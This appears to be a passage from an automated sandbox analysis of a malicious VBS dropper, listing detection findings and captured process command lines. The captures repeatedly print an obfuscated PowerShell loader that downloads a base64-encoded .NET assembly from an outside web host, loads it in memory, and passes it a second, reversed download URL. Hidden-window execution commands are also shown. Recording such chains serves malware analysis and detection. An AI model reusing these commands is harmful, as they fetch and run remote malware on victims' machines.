Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: .Run("powershell $ExeNy = 'J?Bz?HE?YQBh?Go?I??9?C??Jw?w?DE?Mw?n?Ds?J?B3?Gk?a?Bs", "0", "false");

.NET source code contains potential unpacker

Source: 4.2.powershell.exe.155c408daf0.1.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])
Source: 4.2.powershell.exe.155dc4f0000.4.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])
Source: 4.2.powershell.exe.155c5369780.0.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])
Source: 19.2.powershell.exe.240c0f59258.0.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])
Source: 33.2.powershell.exe.1c03c941ab0.1.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $ExeNy = 'J?Bz?HE?YQBh?Go?I??9?C??Jw?w?DE?Mw?n?Ds?J?B3?Gk?a?Bs?HY?I??9?C??Jw?l?H??egBB?GM?TwBn?Ek?bgBN?HI?JQ?n?Ds?WwBC?Hk?d?Bl?Fs?XQBd?C??J?Bu?G4?dQBv?GE?I??9?C??WwBz?Hk?cwB0?GU?bQ?u?EM?bwBu?HY?ZQBy?HQ?XQ?6?Do?RgBy?G8?bQBC?GE?cwBl?DY?N?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?HM?Og?v?C8?dwB3?Hc?LgBp?G4?ZgBv?HI?bQBh?GM?aQBv?G4?bwBw?G8?cgB0?HU?bgBh?C4?YwBv?G0?LwB3?H??LQBj?G8?bgB0?GU?bgB0?C8?dQBw?Gw?bwBh?GQ?cw?v?DI?M??y?DQ?Lw?w?Dk?LwBk?Gw?b?Bz?Gs?eQBm?GE?b??u?HQ?e?B0?Cc?KQ?p?Ds?WwBz?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?G4?dQBv?GE?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?EM?b?Bh?HM?cwBM?Gk?YgBy?GE?cgB5?DE?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?WgB4?Es?S?BH?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?HQ?e?B0?C4?MQBT?EQ?LwBT?FY?TgBF?C8?egBy?GE?TQ?v?Gc?ZQBS?C8?awBh?FQ?Lw?5?DY?MQ?u?DM?Mw?y?C4?Mg?w?DI?Lg?x?Dk?Lw?v?Do?c?B0?HQ?a??n?C??L??g?CQ?dwBp?Gg?b?B2?C??L??g?Cc?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?C0?LQ?t?C0?LQ?t?C0?LQ?t?C0?LQ?t?C0?Jw?s?C??J?Bz?HE?YQBh?Go?L??g?Cc?MQ?n?Cw?I??n?FI?bwBk?GE?Jw?g?Ck?KQ?7??==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $ExeNy = 'J?Bz?HE?YQBh?Go?I??9?C??Jw?w?DE?Mw?n?Ds?J?B3?Gk?a?Bs?HY?I??9?C??Jw?l?H??egBB?GM?TwBn?Ek?bgBN?HI?JQ?n?Ds?WwBC?Hk?d?Bl?Fs?XQBd?C??J?Bu?G4?dQBv?GE?I??9?C??WwBz?Hk?cwB0?GU?bQ?u?EM?bwBu?HY?ZQBy?HQ?XQ?6?Do?RgBy?G8?bQBC?GE?cwBl?DY?N?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?HM?Og?v?C8?dwB3?Hc?LgBp?G4?ZgBv?HI?bQBh?GM?aQBv?G4?bwBw?G8?cgB0?HU?bgBh?C4?YwBv?G0?LwB3?H??LQBj?G8?bgB0?GU?bgB0?C8?dQBw?Gw?bwBh?GQ?cw?v?DI?M??y?DQ?Lw?w?Dk?LwBk?Gw?b?Bz?Gs?eQBm?GE?b??u?HQ?e?B0?Cc?KQ?p?Ds?WwBz?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?G4?dQBv?GE?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?EM?b?Bh?HM?cwBM?Gk?YgBy?GE?cgB5?DE?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?WgB4?Es?S?BH?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?HQ?e?B0?C4?MQBT?EQ?LwBT?FY?TgBF?C8?egBy?GE?TQ?v?Gc?ZQBS?C8?awBh?FQ?Lw?5?DY?MQ?u?DM?Mw?y?C4?Mg?w?DI?Lg?x?Dk?Lw?v?Do?c?B0?HQ?a??n?C??L??g?CQ?dwBp?Gg?b?B2?C??L??g?Cc?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?C0?LQ?t?C0?LQ?t?C0?LQ?t?C0?LQ?t?C0?Jw?s?C??J?Bz?HE?YQBh?Go?L??g?Cc?MQ?n?Cw?I??n?FI?bwBk?GE?Jw?g?Ck?KQ?7??==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $ExeNy = 'J?Bz?HE?YQBh?Go?I??9?C??Jw?w?DE?Mw?n?Ds?J?B3?Gk?a?Bs?HY?I??9?C??Jw?l?H??egBB?GM?TwBn?Ek?bgBN?HI?JQ?n?Ds?WwBC?Hk?d?Bl?Fs?XQBd?C??J?Bu?G4?dQBv?GE?I??9?C??WwBz?Hk?cwB0?GU?bQ?u?EM?bwBu?HY?ZQBy?HQ?XQ?6?Do?RgBy?G8?bQBC?GE?cwBl?DY?N?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?HM?Og?v?C8?dwB3?Hc?LgBp?G4?ZgBv?HI?bQBh?GM?aQBv?G4?bwBw?G8?cgB0?HU?bgBh?C4?YwBv?G0?LwB3?H??LQBj?G8?bgB0?GU?bgB0?C8?dQBw?Gw?bwBh?GQ?cw?v?DI?M??y?DQ?Lw?w?Dk?LwBk?Gw?b?Bz?Gs?eQBm?GE?b??u?HQ?e?B0?Cc?KQ?p?Ds?WwBz?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?G4?dQBv?GE?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?EM?b?Bh?HM?cwBM?Gk?YgBy?GE?cgB5?DE?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?WgB4?Es?S?BH?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?HQ?e?B0?C4?MQBT?EQ?LwBT?FY?TgBF?C8?egBy?GE?TQ?v?Gc?ZQBS?C8?awBh?FQ?Lw?5?DY?MQ?u?DM?Mw?y?C4?Mg?w?DI?Lg?x?Dk?Lw?v?Do?c?B0?HQ?a??n?C??L??g?CQ?dwBp?Gg?b?B2?C??L??g?Cc?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?C0?LQ?t?C0?LQ?t?C0?LQ?t?C0?LQ?t?C0?Jw?s?C??J?Bz?HE?YQBh?Go?L??g?Cc?MQ?n?Cw?I??n?FI?bwBk?GE?Jw?g?Ck?KQ?7??==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 